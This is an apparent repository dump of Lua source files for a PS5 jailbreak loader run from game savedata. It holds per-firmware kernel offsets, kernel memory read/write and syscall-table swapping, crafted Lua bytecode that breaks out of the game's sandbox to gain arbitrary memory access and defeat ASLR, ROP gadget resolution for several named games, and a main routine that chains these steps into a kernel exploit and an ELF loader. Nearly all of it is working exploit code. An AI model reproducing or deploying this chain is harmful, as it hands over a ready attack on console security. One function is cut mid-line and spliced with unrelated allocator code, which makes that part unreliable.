proc_name == name then 460 | return proc 461 | end 462 | 463 | proc = kernel.read_qword(proc + 0x0) -- le_next 464 | end 465 | 466 | return nil 467 | end 468 | 469 | 470 | function find_proc_by_pid(pid) 471 | 472 | check_jailbroken() 473 | assert(type(pid) == "number") 474 | 475 | local proc = kernel.read_qword(kernel.addr.allproc) 476 | while proc ~= uint64(0) do 477 | 478 | local proc_pid = kernel.read_dword(proc + kernel_offset.PROC_PID):tonumber() 479 | if proc_pid == pid then 480 | return proc 481 | end 482 | 483 | proc = kernel.read_qword(proc + 0x0) -- le_next 484 | end 485 | 486 | return nil 487 | end 488 | 489 | 490 | function get_proc_cr3(proc) 491 | 492 | check_jailbroken() 493 | 494 | local vmspace = kernel.read_qword(proc + kernel_offset.PROC_VM_SPACE) 495 | local pmap_store = kernel.read_qword(vmspace + kernel_offset.VMSPACE_VM_PMAP) 496 | 497 | return kernel.read_qword(pmap_store + kernel_offset.PMAP_CR3) 498 | end 499 | 500 | -- translate virtual address to physical address 501 | -- note: use kernel page table if cr3 is not given 502 | function virt_to_phys(virt_addr, cr3) 503 | 504 | assert(kernel.addr.dmap_base and virt_addr) 505 | 506 | cr3 = cr3 or kernel.addr.kernel_cr3 507 | return cpu_walk_pt(cr3, virt_addr) 508 | end 509 | 510 | 511 | function phys_to_dmap(phys_addr) 512 | assert(kernel.addr.dmap_base and phys_addr) 513 | return kernel.addr.dmap_base + phys_addr 514 | end 515 | 516 | 517 | -- replace curproc sysent with sysent of other ps5 process 518 | -- note: failure to restore curproc sysent will have side effect on the game/ps 519 | function run_with_ps5_syscall_enabled(f) 520 | 521 | check_jailbroken() 522 | 523 | local target_proc_name = "SceGameLiveStreaming" -- arbitrarily chosen ps5 process 524 | 525 | local target_proc = find_proc_by_name(target_proc_name) 526 | if not target_proc then 527 | errorf("failed to find proc addr of %s", target_proc_name) 528 | end 529 | 530 | local cur_sysent = kernel.read_qword(kernel.addr.curproc + kernel_offset.PROC_SYSENT) -- struct sysentvec 531 | local target_sysent = kernel.read_qword(target_proc + kernel_offset.PROC_SYSENT) 532 | 533 | local cur_table_size = kernel.read_dword(cur_sysent) -- sv_size 534 | local target_table_size = kernel.read_dword(target_sysent) 535 | 536 | local cur_table = kernel.read_qword(cur_sysent + 0x8) -- sv_table 537 | local target_table = kernel.read_qword(target_sysent + 0x8) 538 | 539 | -- replace with target sysent 540 | kernel.write_dword(cur_sysent, target_table_size) 541 | kernel.write_qword(cur_sysent + 0x8, target_table) 542 | 543 | -- catch lua error so we can restore sysent 544 | local err = run_with_coroutine(f) 545 | if err then 546 | print(err) 547 | end 548 | 549 | -- restore back 550 | kernel.write_dword(cur_sysent, cur_table_size) 551 | kernel.write_qword(cur_sysent + 0x8, cur_table) 552 | end 553 | 554 | -------------------------------------------------------------------------------- /savedata/kernel_offset.lua: -------------------------------------------------------------------------------- 1 | 2 | -- kernel offsets 3 | -- credit to @hammer-83 for these offsets 4 | -- https://github.com/hammer-83/ps5-jar-loader/blob/main/sdk/src/main/java/org/ps5jb/sdk/core/kernel/KernelOffsets.java 5 | 6 | ps5_kernel_offset_list = { 7 | 8 | [{ "1.00", "1.01", "1.02" }] = { 9 | 10 | DATA_BASE = 0x01B40000, 11 | DATA_SIZE = 0x08631930, 12 | 13 | DATA_BASE_DYNAMIC = 0x00000000, 14 | DATA_BASE_TO_DYNAMIC = 0x0658BB58, 15 | DATA_BASE_ALLPROC = 0x026D1BF8, 16 | DATA_BASE_SECURITY_FLAGS = 0x06241074, 17 | DATA_BASE_ROOTVNODE = 0x06565540, 18 | DATA_BASE_KERNEL_PMAP_STORE = 0x02F9F2B8, 19 | DATA_BASE_DATA_CAVE = 0x05F20000, 20 | DATA_BASE_GVMSPACE = 0x06202E70, 21 | 22 | PMAP_STORE_PML4PML4I = -0x1C, 23 | PMAP_STORE_DMPML4I = 0x288, 24 | PMAP_STORE_DMPDPI = 0x28C, 25 | }, 26 | 27 | [{ "1.05", "1.10", "1.11", "1.12", "1.13", "1.14" }] = { 28 | 29 | DATA_BASE = 0x01B40000, 30 | DATA_SIZE = 0x08631930, 31 | 32 | DATA_BASE_DYNAMIC = 0x00000000, 33 | DATA_BASE_TO_DYNAMIC = 0x0658BB58, 34 | DATA_BASE_ALLPROC = 0x026D1C18, 35 | DATA_BASE_SECURITY_FLAGS = 0x06241074, 36 | DATA_BASE_ROOTVNODE = 0x06565540, 37 | DATA_BASE_KERNEL_PMAP_STORE = 0x02F9F328, 38 | DATA_BASE_DATA_CAVE = 0x05F20000, 39 | DATA_BASE_GVMSPACE = 0x06202E70, 40 | 41 | PMAP_STORE_PML4PML4I = -0x1C, 42 | PMAP_STORE_DMPML4I = 0x288, 43 | PMAP_STORE_DMPDPI = 0x28C, 44 | }, 45 | 46 | [{ "2.00", "2.20", "2.25", "2.26", "2.30", "2.50", "2.70" }] = { 47 | 48 | DATA_BASE = 0x01B80000, 49 | DATA_SIZE = 0x087E1930, 50 | 51 | DATA_BASE_DYNAMIC = 0x00000000, 52 | DATA_BASE_TO_DYNAMIC = 0x06739B88, 53 | DATA_BASE_ALLPROC = 0x02701C28, 54 | DATA_BASE_SECURITY_FLAGS = 0x063E1274, 55 | DATA_BASE_ROOTVNODE = 0x067134C0, 56 | DATA_BASE_KERNEL_PMAP_STORE = 0x031338C8, 57 | DATA_BASE_DATA_CAVE = 0x060C0000, -- Use same as Specter's Byepervisor repo for interop 58 | DATA_BASE_GVMSPACE = 0x063A2EB0, 59 | 60 | PMAP_STORE_PML4PML4I = -0x1C, 61 | PMAP_STORE_DMPML4I = 0x288, 62 | PMAP_STORE_DMPDPI = 0x28C, 63 | }, 64 | 65 | [{ "3.00", "3.20", "3.21" }] = { 66 | 67 | DATA_BASE = 0x0BD0000, 68 | DATA_SIZE = 0x08871930, 69 | 70 | DATA_BASE_DYNAMIC = 0x00010000, 71 | DATA_BASE_TO_DYNAMIC = 0x067D1B90, 72 | DATA_BASE_ALLPROC = 0x0276DC58, 73 | DATA_BASE_SECURITY_FLAGS = 0x06466474, 74 | DATA_BASE_ROOTVNODE = 0x067AB4C0, 75 | DATA_BASE_KERNEL_PMAP_STORE = 0x031BE218, 76 | DATA_BASE_DATA_CAVE = 0x06140000, -- Unconfirmed 77 | DATA_BASE_GVMSPACE = 0x06423F80, 78 | 79 | PMAP_STORE_PML4PML4I = -0x1C, 80 | PMAP_STORE_DMPML4I = 0x288, 81 | PMAP_STORE_DMPDPI = 0x28C, 82 | }, 83 | 84 | [{ "4.00", "4.02", "4.03", "4.50", "4.51" }] = { 85 | 86 | DATA_BASE = 0x0C00000, 87 | DATA_SIZE = 0x087B1930, 88 | 89 | DATA_BASE_DYNAMIC = 0x00010000, 90 | DATA_BASE_TO_DYNAMIC = 0x0670DB90, 91 | DATA_BASE_ALLPROC = 0x027EDCB8, 92 | DATA_BASE_SECURITY_FLAGS = 0x06506474, 93 | DATA_BASE_ROOTVNODE = 0x066E74C0, 94 | DATA_BASE_KERNEL_PMAP_STORE = 0x03257A78, 95 | DATA_BASE_DATA_CAVE = 0x06C01000, -- Unconfirmed 96 | DATA_BASE_GVMSPACE = 0x064C3F80, 97 | 98 | PMAP_STORE_PML4PML4I = -0x1C, 99 | PMAP_STORE_DMPML4I = 0x288, 100 | PMAP_STORE_DMPDPI = 0x28C, 101 | }, 102 | 103 | [{ "5.00", "5.02" , "5.10"}] = { 104 | 105 | DATA_BASE = 0x0C40000, 106 | DATA_SIZE = 0x08921930, 107 | 108 | DATA_BASE_DYNAMIC = 0x00010000, 109 | DATA_BASE_TO_DYNAMIC = 0x06879C00, 110 | DATA_BASE_ALLPROC = 0x0291DD00, 111 | DATA_BASE_SECURITY_FLAGS = 0x066466EC, 112 | DATA_BASE_ROOTVNODE = 0x06853510, 113 | DATA_BASE_KERNEL_PMAP_STORE = 0x03398A88, 114 | DATA_BASE_DATA_CAVE = 0x06320000, -- Unconfirmed 115 | DATA_BASE_GVMSPACE = 0x06603FB0, 116 | 117 | PMAP_STORE_PML4PML4I = -0x105C, 118 | PMAP_STORE_DMPML4I = 0x29C, 119 | PMAP_STORE_DMPDPI = 0x2A0, 120 | }, 121 | 122 | [{ "5.50" }] = { 123 | 124 | DATA_BASE = 0x0C40000, 125 | DATA_SIZE = 0x08921930, 126 | 127 | DATA_BASE_DYNAMIC = 0x00010000, 128 | DATA_BASE_TO_DYNAMIC = 0x06879C00, 129 | DATA_BASE_ALLPROC = 0x0291DD00, 130 | DATA_BASE_SECURITY_FLAGS = 0x066466EC, 131 | DATA_BASE_ROOTVNODE = 0x06853510, 132 | DATA_BASE_KERNEL_PMAP_STORE = 0x03394A88, 133 | DATA_BASE_DATA_CAVE = 0x06320000, -- Unconfirmed 134 | DATA_BASE_GVMSPACE = 0x06603FB0, 135 | 136 | PMAP_STORE_PML4PML4I = -0x105C, 137 | PMAP_STORE_DMPML4I = 0x29C, 138 | PMAP_STORE_DMPDPI = 0x2A0, 139 | }, 140 | 141 | [{ "6.00", "6.02", "6.50" }] = { 142 | 143 | DATA_BASE = 0x0C60000, -- Unconfirmed 144 | DATA_SIZE = 0x08861930, 145 | 146 | DATA_BASE_DYNAMIC = 0x00010000, 147 | DATA_BASE_TO_DYNAMIC = 0x067C5C10, 148 | DATA_BASE_ALLPROC = 0x02869D20, 149 | DATA_BASE_SECURITY_FLAGS = 0x065968EC, 150 | DATA_BASE_ROOTVNODE = 0x0679F510, 151 | DATA_BASE_KERNEL_PMAP_STORE = 0x032E4358, 152 | DATA_BASE_DATA_CAVE = 0x06270000, -- Unconfirmed 153 | DATA_BASE_GVMSPACE = 0x065540F0, 154 | 155 | PMAP_STORE_PML4PML4I = -0x105C, 156 | PMAP_STORE_DMPML4I = 0x29C, 157 | PMAP_STORE_DMPDPI = 0x2A0, 158 | }, 159 | 160 | [{ "7.00", "7.01", "7.20", "7.40", "7.60", "7.61" }] = { 161 | 162 | DATA_BASE = 0x0C50000, 163 | DATA_SIZE = 0x05191930, 164 | 165 | DATA_BASE_DYNAMIC = 0x00010000, 166 | DATA_BASE_TO_DYNAMIC = 0x030EDC40, 167 | DATA_BASE_ALLPROC = 0x02859D50, 168 | DATA_BASE_SECURITY_FLAGS = 0x00AC8064, 169 | DATA_BASE_ROOTVNODE = 0x030C7510, 170 | DATA_BASE_KERNEL_PMAP_STORE = 0x02E2C848, 171 | DATA_BASE_DATA_CAVE = 0x050A1000, -- Unconfirmed 172 | DATA_BASE_GVMSPACE = 0x02E76090, 173 | 174 | PMAP_STORE_PML4PML4I = -0x10AC, 175 | PMAP_STORE_DMPML4I = 0x29C, 176 | PMAP_STORE_DMPDPI = 0x2A0, 177 | }, 178 | } 179 | 180 | function get_ps5_kernel_offset() 181 | 182 | if PLATFORM ~= "ps5" then 183 | error("only ps5 is supported by now") 184 | end 185 | 186 | local koffset = nil 187 | 188 | for fw_list, offsets in pairs(ps5_kernel_offset_list) do 189 | for i, check_fw in ipairs(fw_list) do 190 | if check_fw == FW_VERSION then 191 | koffset = offsets 192 | break 193 | end 194 | end 195 | end 196 | 197 | if not koffset then 198 | errorf("failed to find offset for fw %s", FW_VERSION) 199 | end 200 | 201 | koffset.DATA_BASE_TARGET_ID = koffset.DATA_BASE_SECURITY_FLAGS + 0x09 202 | koffset.DATA_BASE_QA_FLAGS = koffset.DATA_BASE_SECURITY_FLAGS + 0x24 203 | koffset.DATA_BASE_UTOKEN_FLAGS = koffset.DATA_BASE_SECURITY_FLAGS + 0x8C 204 | 205 | -- static structure offsets 206 | -- note: the one marked with -1 will be resolved at runtime 207 | 208 | -- proc structure 209 | koffset.PROC_PID = 0xbc 210 | koffset.PROC_VM_SPACE = 0x200 211 | koffset.PROC_COMM = -1 212 | koffset.PROC_SYSENT = -1 213 | 214 | -- vmspace structure 215 | koffset.VMSPACE_VM_PMAP = -1 216 | koffset.VMSPACE_VM_VMID = -1 217 | 218 | -- pmap structure 219 | koffset.PMAP_CR3 = 0x28 220 | 221 | -- gpu vmspace structure 222 | koffset.SIZEOF_GVMSPACE = 0x100 223 | koffset.GVMSPACE_START_VA = 0x8 224 | koffset.GVMSPACE_SIZE = 0x10 225 | koffset.GVMSPACE_PAGE_DIR_VA = 0x38 226 | 227 | return koffset 228 | end 229 | -------------------------------------------------------------------------------- /savedata/lua.lua: -------------------------------------------------------------------------------- 1 | 2 | -- 3 | -- lua class 4 | -- 5 | -- provide read and limited write primitives 6 | -- 7 | 8 | lua_types = { 9 | LUA_TNIL = 0, 10 | LUA_TBOOLEAN = 1, 11 | LUA_TLIGHTUSERDATA = 2, 12 | LUA_TNUMBER = 3, 13 | LUA_TSTRING = 4, 14 | LUA_TTABLE = 5, 15 | LUA_TFUNCTION = 6, 16 | LUA_TUSERDATA = 7, 17 | LUA_TTHREAD = 8 18 | } 19 | 20 | fakeobj_lclosure_bc = [[ 21 | 1b4c756151000104080408000b0000000000000040626367656e2e6c756100430000005100000000 22 | 01000407000000a400000000000001000000009c808000c10000009e0080011e0080000100000003 23 | 0000000000e494400100000000000000000000004500000050000000020000020700000024000000 24 | 04000000040080001c408000010000001e0000011e00800001000000030000000000004540010000 25 | 0000000000000000004600000049000000020000020300000004008000080000001e008000000000 26 | 00000000000300000048000000480000004900000000000000020000000700000000000000746172 27 | 676574000800000000000000636c6f73757265000700000049000000490000004900000049000000 28 | 4d0000004d0000005000000000000000020000000700000000000000746172676574000800000000 29 | 000000636c6f73757265000700000050000000500000005000000050000000500000005000000051 30 | 000000020000000800000000000000636c6f73757265000000000006000000070000000000000074 31 | 617267657400000000000600000000000000 32 | ]] 33 | 34 | write_upval_bc = [[ 35 | 1b4c756151000104080408000b0000000000000040626367656e2e6c756100550000006000000000 36 | 02000606000000e4000000000080010001000040018000dc4080011e008000000000000100000000 37 | 00000000000000570000005f0000000102000406000000a400000004000000c00000009c40000148 38 | 0000001e00800000000000010000000000000000000000580000005b000000010100020200000008 39 | 0000001e0080000000000000000000020000005a0000005b00000001000000080000000000000063 40 | 6c6f7375726500000000000100000001000000070000000000000074617267657400060000005b00 41 | 00005b0000005b0000005b0000005e0000005f000000020000000800000000000000636c6f737572 42 | 65000000000005000000060000000000000076616c75650000000000050000000100000007000000 43 | 0000000074617267657400060000005f0000005f0000005f0000005f0000005f0000006000000003 44 | 0000000800000000000000636c6f73757265000000000005000000060000000000000076616c7565 45 | 000000000005000000070000000000000074617267657400000000000500000000000000 46 | ]] 47 | 48 | 49 | 50 | lua = {} 51 | 52 | function lua.setup_primitives() 53 | 54 | -- evil bytecodes 55 | lua.fakeobj_closure = load_bytecode(fakeobj_lclosure_bc) 56 | lua.write_upval = load_bytecode(write_upval_bc) 57 | 58 | lua.setup_initial_read_primitive() -- one small step 59 | lua.resolve_address() -- break aslr and resolve offsets 60 | lua.setup_victim_table() -- setup better addrof primitive 61 | end 62 | 63 | -- allocate a limited length string with a known address 64 | function lua.create_str_hacky(data) 65 | 66 | assert(#data <= 39) 67 | 68 | local prev_t1, prev_t2 = {}, {} 69 | local str, addr = nil, nil 70 | 71 | for i=1,16 do 72 | collectgarbage() 73 | local t = {} 74 | local l, s = nil, nil 75 | 76 | if i % 2 == 0 then 77 | for j=1,5 do t[j] = {} end 78 | s = data .. string.rep("\0", (39 - #data)) 79 | else 80 | s = data .. string.rep("\0", (39 - #data)) 81 | for j=1,5 do t[j] = {} end 82 | end 83 | 84 | prev_t1[i] = lua.addrof_trivial(t[1]) 85 | prev_t2[i] = lua.addrof_trivial(t[2]) 86 | 87 | if i >= 3 then 88 | if prev_t1[i-1] == prev_t1[i-2] then 89 | str, addr = s, prev_t1[i-1] 90 | break 91 | elseif prev_t2[i-1] == prev_t2[i-2] then 92 | str, addr = s, prev_t2[i-1] 93 | break 94 | end 95 | end 96 | end 97 | 98 | if not (str and addr) then 99 | error("failed to leak string addr") 100 | end 101 | 102 | return str, addr 103 | end 104 | 105 | function lua.create_str(str) 106 | local addr = lua.addrof(str) 107 | if not addr then 108 | str, addr = lua.create_str_hacky(str) 109 | end 110 | return str, addr+24 111 | end 112 | 113 | function lua.setup_initial_read_primitive() 114 | 115 | local fake_str_size = 0x100000001337 116 | 117 | -- next + tt/marked/extra/padding/hash + len 118 | lua.fake_str, lua.fake_str_addr = lua.create_str(ub8(0x0) .. ub8(0x0) .. ub8(fake_str_size)) 119 | lua.fake_str = lua.fakeobj(lua.fake_str_addr, lua_types.LUA_TSTRING) 120 | 121 | if bit32.band(#lua.fake_str, 0xffff) ~= 0x1337 then 122 | error("failed to create fake string obj") 123 | end 124 | end 125 | 126 | function lua.setup_better_read_primitive() 127 | 128 | -- setup fake string at first eboot segment we can read 129 | local new_fake_str_addr = eboot_addrofs.fake_string 130 | 131 | -- if current fake str is already behind eboot segment, then do nothing 132 | if new_fake_str_addr > lua.fake_str_addr then 133 | return 134 | end 135 | 136 | lua.fake_str = lua.fakeobj(new_fake_str_addr, lua_types.LUA_TSTRING) 137 | lua.fake_str_addr = new_fake_str_addr 138 | end 139 | 140 | function lua.resolve_game(luaB_auxwrap) 141 | 142 | print("[+] luaB_auxwrap @ " .. hex(luaB_auxwrap)) 143 | 144 | local nibbles = bit64.band(luaB_auxwrap, 0xfff):tonumber() 145 | print("[+] luaB_auxwrap nibbles: " .. hex(nibbles)) 146 | 147 | game_name = games_identification[nibbles] 148 | 149 | if not game_name then 150 | errorf("unsupported game (luaB_auxwrap nibbles: %s)", hex(nibbles)) 151 | end 152 | 153 | if game_name == "RaspberryCube" then 154 | print("[+] Game identified as Raspberry Cube") 155 | eboot_addrofs = gadget_table.raspberry_cube.eboot_addrofs 156 | libc_addrofs = gadget_table.raspberry_cube.libc_addrofs 157 | gadgets = gadget_table.raspberry_cube.gadgets 158 | elseif game_name == "Aibeya" then 159 | print("[+] Game identified as Aibeya/G") 160 | eboot_addrofs = gadget_table.aibeya.eboot_addrofs 161 | libc_addrofs = gadget_table.aibeya.libc_addrofs 162 | gadgets = gadget_table.aibeya.gadgets 163 | elseif game_name == "Aikagi2" then 164 | print("[+] Game identified as Aikagi 2") 165 | eboot_addrofs = gadget_table.aikagi_2.eboot_addrofs 166 | libc_addrofs = gadget_table.aikagi_2.libc_addrofs 167 | gadgets = gadget_table.aikagi_2.gadgets 168 | elseif game_name == "HamidashiCreative" then 169 | print("[+] Game identified as Hamidashi Creative") 170 | eboot_addrofs = gadget_table.hamidashi_creative.eboot_addrofs 171 | libc_addrofs = gadget_table.hamidashi_creative.libc_addrofs 172 | gadgets = gadget_table.hamidashi_creative.gadgets 173 | elseif game_name == "AikagiKimiIsshoniPack" then 174 | print("[+] Game identified as Aikagi Kimi to Issho ni Pack") 175 | eboot_addrofs = gadget_table.aikagi_kimi_isshoni_pack.eboot_addrofs 176 | libc_addrofs = gadget_table.aikagi_kimi_isshoni_pack.libc_addrofs 177 | gadgets = gadget_table.aikagi_kimi_isshoni_pack.gadgets 178 | elseif game_name == "C" then -- TODO: Test 179 | print("[+] Game identified as C/D") 180 | eboot_addrofs = gadget_table.c.eboot_addrofs 181 | libc_addrofs = gadget_table.c.libc_addrofs 182 | gadgets = gadget_table.c.gadgets 183 | elseif game_name == "E" then -- TODO: Test 184 | print("[+] Game identified as E") 185 | eboot_addrofs = gadget_table.e.eboot_addrofs 186 | libc_addrofs = gadget_table.e.libc_addrofs 187 | gadgets = gadget_table.e.gadgets 188 | elseif game_name == "IxSHETell" then 189 | print("[+] Game identified as IxSHE Tell") 190 | eboot_addrofs = gadget_table.ixshe_tell.eboot_addrofs 191 | libc_addrofs = gadget_table.ixshe_tell.libc_addrofs 192 | gadgets = gadget_table.ixshe_tell.gadgets 193 | elseif game_name == "NoraPrincess" then 194 | print("[+] Game identified as CUSA13303 Nora Princess and Stray Cat Heart HD") 195 | eboot_addrofs = gadget_table.nora_princess.eboot_addrofs 196 | libc_addrofs = gadget_table.nora_princess.libc_addrofs 197 | gadgets = gadget_table.nora_princess.gadgets 198 | elseif game_name == "JinkiResurrection" then 199 | print("[+] Game identified as Jinki Resurrection") 200 | eboot_addrofs = gadget_table.jinki_resurrection.eboot_addrofs 201 | libc_addrofs = gadget_table.jinki_resurrection.libc_addrofs 202 | gadgets = gadget_table.jinki_resurrection.gadgets 203 | end 204 | end 205 | 206 | function lua.resolve_address() 207 | 208 | local luaB_auxwrap = nil 209 | local consume = {} 210 | 211 | for i=1,1024 do 212 | 213 | local co = coroutine.wrap(function() end) 214 | consume[i] = co 215 | 216 | -- read f field of CClosure (luaB_auxwrap) 217 | local addr = memory.read_qword(lua.addrof(co)+0x20) 218 | if addr then 219 | -- calculate eboot base from luaB_auxwrap offset 220 | luaB_auxwrap = addr 221 | break 222 | end 223 | end 224 | 225 | if not luaB_auxwrap then 226 | error("failed to leak luaB_auxwrap") 227 | end 228 | 229 | lua.resolve_game(luaB_auxwrap) 230 | 231 | eboot_base = luaB_auxwrap - eboot_addrofs.luaB_auxwrap 232 | print("[+] eboot base @ " .. hex(eboot_base)) 233 | 234 | -- resolve offsets to their address 235 | for k,v in pairs(gadgets) do 236 | if k == "stack_pivot" then 237 | local list = {} 238 | for name, offset in pairs(v) do 239 | local info = {} 240 | info.gadget_addr = eboot_base + offset 241 | info.pivot_addr = uint64(name:match("(0x%x+)")) 242 | info.pivot_base = bit64.band(info.pivot_addr, bit64.bnot(0xfff)) 243 | table.insert(list, info) 244 | end 245 | gadgets[k] = list 246 | else 247 | gadgets[k] = eboot_base + v 248 | end 249 | end 250 | 251 | for k,offset in pairs(eboot_addrofs) do 252 | eboot_addrofs[k] = eboot_base + offset 253 | end 254 | 255 | -- setup fake string that can read more memory space 256 | lua.setup_better_read_primitive() 257 | 258 | -- resolve libc 259 | libc_base = memory.read_qword(eboot_addrofs.longjmp_import) - libc_addrofs.longjmp 260 | print("[+] libc base @ " .. hex(libc_base)) 261 | 262 | for k,offset in pairs(libc_addrofs) do 263 | libc_addrofs[k] = libc_base + offset 264 | end 265 | end 266 | 267 | -- setup a table where we can read its array buffer 268 | function lua.setup_victim_table() 269 | local t = { 1, 2, 3, 4 } 270 | local array_addr = memory.read_qword(lua.addrof(t)+24) 271 | if array_addr then 272 | if memory.read_buffer(array_addr, 1) then -- test if we can read the buffer 273 | lua.tbl_victim, lua.tbl_victim_array_addr = t, array_addr 274 | end 275 | end 276 | if not (lua.tbl_victim and lua.tbl_victim_array_addr) then 277 | error("failed to find victim table") 278 | end 279 | end 280 | 281 | function lua.get_table_value(obj) 282 | if not lua.tbl_victim then return nil end 283 | lua.tbl_victim[1] = obj 284 | return memory.read_qword(lua.tbl_victim_array_addr) 285 | end 286 | 287 | function lua.fake_table_value(obj_addr, ttype) 288 | if not lua.tbl_victim then return nil end 289 | memory.write_qword(lua.tbl_victim_array_addr + 0x20, obj_addr) 290 | memory.write_qword(lua.tbl_victim_array_addr + 0x28, ttype) 291 | return lua.tbl_victim[3] 292 | end 293 | 294 | function lua.fakeobj_through_closure(obj_addr, ttype) 295 | local addr, fake_tvalues, fake_proto, fake_closure 296 | fake_tvalues, addr = lua.create_str(ub8(obj_addr) .. ub8(ttype)) -- value + ttype 297 | fake_proto, addr = lua.create_str(ub8(0x0) .. ub8(0x0) .. ub8(addr)) -- next + tt/marked + k 298 | fake_closure, _ = lua.create_str(ub8(0x0) .. ub8(addr)) -- env + proto 299 | return lua.fakeobj_closure(fake_closure) 300 | end 301 | 302 | function lua.addrof_trivial(x) 303 | local addr = tostring(x):match("^%a+:? 0?x?%(?(%x+)%)?$") 304 | return addr and uint64("0x" .. addr) or nil 305 | end 306 | 307 | function lua.addrof(obj) 308 | return lua.get_table_value(obj) or lua.addrof_trivial(obj) 309 | end 310 | 311 | function lua.resolve_value(v) 312 | if type(v) == "string" then 313 | return lua.addrof(v)+24 314 | elseif type(v) == "number" then 315 | return uint64(v) 316 | elseif is_uint64(v) then 317 | return v 318 | end 319 | errorf("lua.resolve_value: invalid type (%s)", type(v)) 320 | end 321 | 322 | function lua.fakeobj(obj_addr, ttype) 323 | return lua.fake_table_value(obj_addr, ttype) or lua.fakeobj_through_closure(obj_addr, ttype) 324 | end 325 | 326 | function lua.read_buffer(addr, size) 327 | if not lua.fake_str then return nil end 328 | size = uint64(size):tonumber() 329 | -- check if addr to read is after fake string addr 330 | local rel_addr = (uint64(addr) - (lua.fake_str_addr + 23)):tonumber() 331 | return rel_addr >= 0 and lua.fake_str:sub(rel_addr, rel_addr + size - 1) or nil 332 | end 333 | 334 | -- write 8 bytes (double) at target address with 4 bytes corruption after addr+8 335 | function lua.write_double(addr, value) 336 | local fake_upval = ub8(0x0) .. ub8(0x0) .. ub8(addr) -- next + tt/marked + addr to tvalue 337 | local fake_closure = ub8(0x0) .. ub8(lua.addrof("0")) .. ub8(lua.resolve_value(fake_upval)) -- env + proto + upvals 338 | lua.write_upval(fake_closure, value) 339 | end 340 | 341 | -- write 8 bytes (qword) at target address with 5 bytes corruption after addr+8 342 | function lua.write_qword(addr, value) 343 | local setbit = bit64.lshift(1, 56) 344 | value = uint64(value) 345 | lua.write_double(addr, struct.unpack("= bump.pool_base + bump.pool_size then 389 | error("bump allocator exhausted") 390 | end 391 | 392 | local addr = bump.pool_current 393 | bump.pool_current = bump.pool_current + size 394 | return addr 395 | end 396 | -------------------------------------------------------------------------------- /savedata/main.lua: -------------------------------------------------------------------------------- 1 | 2 | WRITABLE_PATH = "/av_contents/content_tmp/" 3 | LOG_FILE = WRITABLE_PATH .. "loader_log.txt" 4 | log_fd = io.open(LOG_FILE, "w") 5 | 6 | game_name = nil 7 | eboot_base = nil 8 | libc_base = nil 9 | libkernel_base = nil 10 | 11 | gadgets = nil 12 | eboot_addrofs = nil 13 | libc_addrofs = nil 14 | 15 | native_cmd_handler = nil 16 | native_invoke = nil 17 | 18 | kernel_offset = nil 19 | 20 | old_print = print 21 | function print(...) 22 | 23 | local out = prepare_arguments(...) .. "\n" 24 | 25 | old_print(out) -- print to stdout 26 | 27 | if client_fd and native_invoke then 28 | syscall.write(client_fd, out, #out) -- print to socket 29 | end 30 | 31 | log_fd:write(out) -- print to file 32 | log_fd:flush() 33 | end 34 | 35 | package.path = package.path .. ";/savedata0/?.lua" 36 | 37 | require "globals" 38 | require "offsets" 39 | require "misc" 40 | require "bit32" 41 | require "uint64" 42 | require "struct" 43 | require "lua" 44 | require "memory" 45 | require "ropchain" 46 | require "syscall" 47 | require "signal" 48 | require "native" 49 | require "thread" 50 | require "kernel_offset" 51 | require "kernel" 52 | require "gpu" 53 | 54 | function run_lua_code(lua_code) 55 | local script, err = loadstring(lua_code) 56 | if err then 57 | local err_msg = "error loading script: " .. err 58 | print(err_msg) 59 | return 60 | end 61 | 62 | local env = { 63 | print = function(...) 64 | local out = prepare_arguments(...) .. "\n" 65 | print(out) 66 | end, 67 | printf = function(fmt, ...) 68 | local out = string.format(fmt, ...) .. "\n" 69 | print(out) 70 | end 71 | } 72 | 73 | setmetatable(env, { __index = _G }) 74 | setfenv(script, env) 75 | 76 | err = run_with_coroutine(script) 77 | 78 | if err then 79 | print("Error: " .. err) 80 | end 81 | end 82 | 83 | function get_savedata_path() 84 | local path = "/savedata0/" 85 | if is_jailbroken() then 86 | path = "/mnt/sandbox/" .. get_title_id() .. "_000/savedata0/" 87 | end 88 | return path 89 | end 90 | 91 | function load_and_run_lua(path) 92 | local lua_code = file_read(path, "r") 93 | run_lua_code(lua_code) 94 | end 95 | 96 | elf_loader_active = false 97 | function start_elf_loader() 98 | if elf_loader_active then 99 | print("elf_loader already loaded") 100 | return 101 | end 102 | 103 | load_and_run_lua(get_savedata_path() .. "elf_loader.lua") 104 | sleep(4000, "ms") 105 | elf_loader_active = true 106 | end 107 | 108 | function main() 109 | 110 | -- setup limited read & write primitives 111 | lua.setup_primitives() 112 | print("[+] lua r/w primitives achieved") 113 | 114 | syscall.init() 115 | print("[+] syscall initialized") 116 | 117 | native.register() 118 | print("[+] native handler registered") 119 | 120 | print("[+] arbitrary r/w primitives achieved") 121 | 122 | syscall.resolve({ 123 | read = 0x3, 124 | write = 0x4, 125 | open = 0x5, 126 | close = 0x6, 127 | getuid = 0x18, 128 | kill = 0x25, 129 | accept = 0x1e, 130 | pipe = 0x2a, 131 | mprotect = 0x4a, 132 | socket = 0x61, 133 | connect = 0x62, 134 | bind = 0x68, 135 | setsockopt = 0x69, 136 | listen = 0x6a, 137 | getsockopt = 0x76, 138 | sysctl = 0xca, 139 | nanosleep = 0xf0, 140 | sigaction = 0x1a0, 141 | thr_self = 0x1b0, 142 | dlsym = 0x24f, 143 | dynlib_load_prx = 0x252, 144 | dynlib_unload_prx = 0x253, 145 | is_in_sandbox = 0x249, 146 | }) 147 | 148 | FW_VERSION = get_version() 149 | 150 | thread.init() 151 | 152 | send_ps_notification(string.format("PS5 Lua Loader v0.6 \n %s %s", PLATFORM, FW_VERSION)) 153 | 154 | if PLATFORM ~= "ps5" then 155 | notify(string.format("This only works on ps5 (current %s %s)", PLATFORM, FW_VERSION)) 156 | return 157 | end 158 | 159 | if tonumber(FW_VERSION) >= 2.00 and tonumber(FW_VERSION) <= 7.61 then 160 | kernel_exploit_lua = "umtx.lua" 161 | else 162 | notify(string.format("Unsupported firmware version (%s %s)", PLATFORM, FW_VERSION)) 163 | return 164 | end 165 | 166 | load_and_run_lua(get_savedata_path() .. kernel_exploit_lua) 167 | load_and_run_lua(get_savedata_path() .. "autoload.lua") 168 | 169 | send_ps_notification("PS5 Lua Loader finished!\n\nClosing game...") 170 | syscall.kill(syscall.getpid(), 15) 171 | end 172 | 173 | function entry() 174 | local err = run_with_coroutine(main) 175 | if err then 176 | notify(err) 177 | print(err) 178 | end 179 | end 180 | 181 | entry() 182 | -------------------------------------------------------------------------------- /savedata/memory.lua: -------------------------------------------------------------------------------- 1 | 2 | -- 3 | -- memory class 4 | -- 5 | -- 